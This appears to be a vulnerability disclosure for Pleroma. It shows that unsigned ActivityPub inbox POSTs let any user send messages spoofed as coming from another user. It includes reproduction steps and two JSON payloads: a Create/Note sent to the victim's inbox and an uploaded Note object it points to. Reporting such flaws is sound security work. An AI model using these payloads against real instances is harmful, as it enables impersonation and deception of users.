GitLab

Pleroma in it's default configuration does not require or validate HTTP Signatures for ActivityPub messages. Specifically, an attacker can use the ActivityPub inbox endpoint to send a message to a user pretending to be any other user. The requirement seems to be that the message needs to be hosted on the domain (origin) of the spoofed user. The victim user receiving the message will not be able to see who really sent the message as the UI only shows the spoofed sender.

Reproduction steps

An attacker creates a POST request to /users/{victim_user}/inbox with a JSON body containing an ActivityPub "Create" command with a "Note" object:

{
  "@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1"],
  "id": "https://{pleroma}/notice/{any-notice-ID}",
  "to": ["https://{pleroma}/users/{victim}"],
  "type":"Create",
  "actor":"https://{pleroma}/users/{spoofed-user}",
  "object":{
    "id":"https://{pleroma}/media/c85227d9-bc11-4271-8505-test12345678/mymsg",
    "type":"Note",
    "inReplyTo": "https://{pleroma}/notice/{any-msg}",
    "published":"2020-07-13T13:29:47+00:00",
    "to":["https://www.w3.org/ns/activitystreams#Public"],
    "attributedTo":"https://{pleroma}/users/{spoofed-user}",
    "content":"<p>my test message</p>"
    }
}

Note that this request does not need to include an HTTP Signature and is completely unauthenticated. The important parameter is the "id" parameter within the "Note" object. This URL needs to point to message object the attacker has to upload on the same Pleroma site where the victim is:

{
  "@context": [
    "https://www.w3.org/ns/activitystreams",
    {
      "ostatus": "http://ostatus.org#",
      ...
    }
  ],
  "id": "https://{pleroma}/notice/{any-notice-ID}",
  "type": "Note",
  "summary": null,
  "inReplyTo": null,
  "published": "2020-07-13T11:21:51Z",
  "url": "https://{pleroma}/notice/{any-notice-ID}",
  "attributedTo": "https://{pleroma}/users/{spoofed-user}",
  "to": [
    "https://{pleroma}/users/{victim}"
  ],
  "sensitive": false,
  "inReplyToAtomUri": null,
  "content": "<p>my spoofed message</p>",
  ...
}

The important parameters are the following:

• "attributedTo": The user where the spoofed message is coming from
• "to": The user where the message is sent to
• "content": The content of the spoofed message

As this may be a bit tricky to reproduce, I'm happy to provide a real demo on any Pleroma instance that allows signups.

Impact

Any Pleroma user can spoof messages from another user. The requirement is that the attacker can upload any text file (enabled by default in Pleroma) hosted on the same Pleroma instance where the spoofed user is.